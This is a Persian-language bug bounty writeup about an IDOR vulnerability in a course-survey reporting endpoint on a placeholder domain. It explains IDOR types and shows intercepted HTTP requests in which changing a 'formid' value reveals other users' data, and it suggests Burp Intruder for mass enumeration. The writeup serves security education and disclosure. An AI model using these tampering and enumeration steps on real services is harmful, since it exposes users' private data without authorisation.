رایتاپ
IDOR vulnerability writeup

این رایتاپ بر اساس سناریوهای دریافت شده از متخصصین امنیتی باگدشت با هدف اشتراک گذاری دانش امنیتی و تسریع در ایمن سازی ارایه شده است.

آسیب‌پذیری IDOR (Insecure Direct Object References)، یک باگ ساده است که اثرات زیادی بر روی سرویس دهنده دارد. اکسپلویت این آسیب‌پذیری معمولا منجر به افشای اطلاعات کابران می‌شود و در موارد بحرانی امکان تغییر رمز‌عبور و یا اطلاعات کاربر را به مهاجم می‌دهد.

انواع آسیب‌پذیری IDOR:

  1. Body Manipulation: مهاجم با تغییر مقدار checkbox، radio buttons و APIها امکان دسترسی به اطلاعات دیگر کاربران را به راحتی دارد.
  2.  URL Tampering: مهاجم با تغییر متغییر پارامتر URL کلاینت در درخواست‌های HTTP اکسپلویت آسیب‌پذیری را انجام می‌دهد.
  3. HTTP Requests: این نوع آسیب‌پذیری معمولا در  ریکوئست‌های GET، POST، PUT و DELETE یافت می‌شود.
  4. Mass Assignment: برای اکسپلویت این آسیب‌پذیری باید به الگوها جهت تغییر اطلاعات توجه شود که به اطلاعات دیگر کاربران به شکل غیرمجاز دسترسی پیدا کرد.

مراحل بررسی

پس از بررسی‌های انجام شده مشخص گردید در بخش "میانگین نمره دوره های نظرسنجی" مهاجم امکان دسترسی به فرم‌های غیر مجاز را دارا میباشد.

  • وارد سامانه در مسیر زیر می‌شویم.

https://example.ir

  • در بخش گزارش و نمودار بر روی "نظر سنجی دوره" کلیک می‌کنیم.
  •  فرم را انتخاب می‌کنیم و بر روی نمایش نمودار کلیک میکنیم.
  • توسط ابزار Burp Suite (ابزاری جهت آنالیز و ادیت ریکوئست‌ها) ریکوئست ارسالی را بررسی می‌کنیم که به شکل زیر است:
 POST /Report/returnDataTable HTTP/1.1 Host: example.ir Cookie: XXXX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) X Firefox/89.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://example.ir/Report/ Content-Type: application/json; charset=utf-8 X-Requested-With: XMLHttpRequest Content-Length: 18 Origin: https://example.ir Te: trailers Connection: close {"formid":"10001"} 
  • با تغییر مقدار "formid":"10001" به "formid":"10012" میتوان نمودار دیگری را مشاهده کرد.
 POST /Report/returnDataTable HTTP/1.1 Host: example.ir Cookie: XXXX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) X Firefox/89.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://example.ir/Report/ Content-Type: application/json; charset=utf-8 X-Requested-With: XMLHttpRequest Content-Length: 18 Origin: https://example.ir Te: trailers Connection: close {"formid":"10012"} 

سرور اطلاعات دیگر کاربران را با تغییر مقدار این پارامتر افشا می‌کند. همچنین برای اکسپلویت بیشتر این آسیب‌پذیری، مهاجم می‌تواند با استفاده از ماژول intruder پراکسی burp suite اطلاعات کاربران بیشتری را جمع آوری کند.